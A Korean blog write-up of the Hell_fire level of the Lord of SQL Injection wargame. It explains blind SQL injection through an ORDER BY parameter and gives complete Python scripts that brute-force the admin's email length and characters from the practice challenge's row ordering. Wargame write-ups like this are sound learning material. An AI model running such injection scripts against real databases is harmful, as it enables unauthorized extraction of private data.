본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Hell_fire[23]

by madevth 2021. 12. 28.
반응형

[Level 23. Hell_fire] Sol → ?email=admin_secure_email@emai1.com

정렬을 이용해서 admin의 이메일 주소를 맞춰야 하는 문제이다. 자동화 코드를 짜는데 꽤 시간이 걸렸다.

 

우선? order=1로 결과를 확인해보았다.

if($result['id'] == "admin"$result['email'] = "**************"; 부분으로 인해 id가 admin인 경우 email은 *****로 표시되고, 첫 번째 column으로 정렬을 하였기 때문에 admin이 알파벳 순서상 먼저 뜬 것을 확인할 수 있다.

 

order by는 정렬 기능인데, 위의 사진에서 볼 수 있듯이 views처럼 직접 column을 명시할 수도 있지만, length(content)처럼 입력하면 content의 길이 순서대로 정렬된다.

 

그래서 email의 길이 순서로 정렬을 해보았더니 admin의 email이 더 긴 것으로 나왔다.

이를 이용해서 length(email) = {} (원하는 쿼리)로 비교를 해주고, id로 한번 더 비교를 해주면 admin이 참인 경우를 구분할 수 있다.

예를 들어, rubiya의 email은 길이가 18이므로 length(email)=18로 정렬하면 rubiya는 참이므로 1, admin은 거짓이므로 0이 되어 admin이 rubiya보다 먼저 뜬다. 또한 둘 다 거짓인 쿼리로 정렬하면 둘 다 0이고 그 후에 id로 정렬했기 때문에 admin이 먼저 뜬다. 따라서 admin만 참인 쿼리를 첫 번째로 넣어야지만 admin이 1, rubiya가 0이 되어 admin이 두 번째로 정렬된다. 

이메일의 길이를 18에서 순서대로 올리면, 계속 admin이 먼저 나오다가, 28이 되는 순간 admin이 두 번째 행에 뜨는 것을 확인할 수 있다. 따라서 이메일의 길이는 28이다.

 

이제 이메일을 한 글자씩 알아낼 것인데, 자동화 코드를 사용하려면 admin과 rubiya 중 어떤 것이 위에 있는지를 확인할 수 있어야 한다. 따라서 beautifulsoup4를 사용하여 html 코드를 parsing 해보았다.

pip install beautifulsoup4
import requests
from bs4 import BeautifulSoup

url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = {'PHPSESSID': 'Cookies'}

def find_length():
    pwlength = 1

    while True:
        param = {"order": "length(email) = {}, id #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        html = BeautifulSoup(req.text, "html.parser")
        table = html.find_all("td")
        print(table)

평소처럼 req를 보내지만, BeautifulSoup을 사용하여 td 태그를 가진 Children을 모두 가져오도록 코드를 짜주었다.

위와 같이 <td> 태그를 가진 Children이 리스트로 저장되었고, 리스트의 첫 번째와 네 번째를 비교하면 어떤 행이 위에 떴는지 알 수 있다.

 

def find_length():
    pwlength = 1

    while True:
        param = {"order": "length(email) = {}, id #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        html = BeautifulSoup(req.text, "html.parser")
        table = html.find_all("td")
        if table[0] == "<td>rubiya</td>":
            return pwlength
        else:
            pwlength+=1

table의 첫 번째 원소가 rubiya라면, 보낸 쿼리가 참이라는 의미이므로, pwlength를 return 해주고, 반대라면 길이를 1 증가시켜준다. 기존의 코드들과 참/거짓 판별 방식이 다를 뿐이고, find_all 대신 find("td")로 비교해줄 수도 있다.

(find_all은 td 태그를 가진 모든 children을 가져오고, find는 맨 첫 번째 원소만 가져오는 함수이다. 따라서 find로 가져온 문자열이 rubiya일 경우라고 작성해도 된다.)

 

print(table[0])을 같이 출력해보니 28에서 rubiya가 뜨는 것을 확인할 수 있다.

 

이제 글자 하나하나를 알아내야 하는데, 위와 같은 방식으로 참/거짓을 구분하지만 이진 탐색을 쓰기 어려웠다.

왜냐하면, 위의 방식은 rubiya는 거짓이고 admin만 참인 경우를 기준으로 판단하는 조건문이고, 이진 탐색에서는 admin의 값 자체가 참인지 거짓인지에 따라 구분해야 하기 때문이다.

따라서 그냥 BruteForce로 아스키코드 값을 전부 탐색해주고, rubiya와 admin의 n번째 글자가 같은 경우 둘 다 0 또는 1만을 반영하기 때문에 정렬에 차이가 없어지므로 128까지 탐색했는데도 값이 나오지 않는다면 둘이 같다는 결론을 내주었다.

def find_pw():
    length = find_length()
    print("이메일 길이 : ", length)
    password = ""
    for i in range(5):
        value = 46
        while True:
            param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            html = BeautifulSoup(req.text, "html.parser")
            table = html.find_all("td")
            if "rubiya" in table[0]:
                password += chr(value)
                break
            else:
                value+=1
            if value > 128:
                email = "rubiya805@gmail.cm"
                password+=email[i]
                break
    print("비밀번호는: ", password)

코드를 추가로 설명하자면, 온점(.)보다 아스키코드값이 작은 글자는 없을 것 같아서 value = 46부터 돌렸고, 확실히 하고 싶다면 33이나 0부터 돌려도 된다. 그리고 rubiya가 먼저 나오는 경우, 즉 rubiya는 0, admin은 1인 경우에는 패스워드에 붙여주고, value가 128을 넘어간다면 둘 다 같은 값을 가진다는 의미이므로 rubiya 이메일 주소에서 i번째 문자열을 붙여주었다.

 

BruteForce로 하니 너무 오래 걸렸지만, 그래도 결과가 잘 나왔다.

[전체 코드]

import requests
from bs4 import BeautifulSoup

url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = {'PHPSESSID': 'Cookie'}

def find_length():
    pwlength = 1
    while True:
        param = {"order": "length(email) = {}, id".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        html = BeautifulSoup(req.text, "html.parser")
        table = html.find_all("td")
        if "rubiya" in table[0]:
            return pwlength
        else:
            pwlength+=1

def find_pw():
    length = find_length()
    print("이메일 길이 : ", length)
    password = ""
    for i in range(5):
        value = 46
        while True:
            param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            html = BeautifulSoup(req.text, "html.parser")
            table = html.find_all("td")
            if "rubiya" in table[0]:
                password += chr(value)
                break
            else:
                value+=1
            if value > 128:
                email = "rubiya805@gmail.cm"
                password+=email[i]
                break
    print("비밀번호는: ", password)

find_pw()

 

반응형

댓글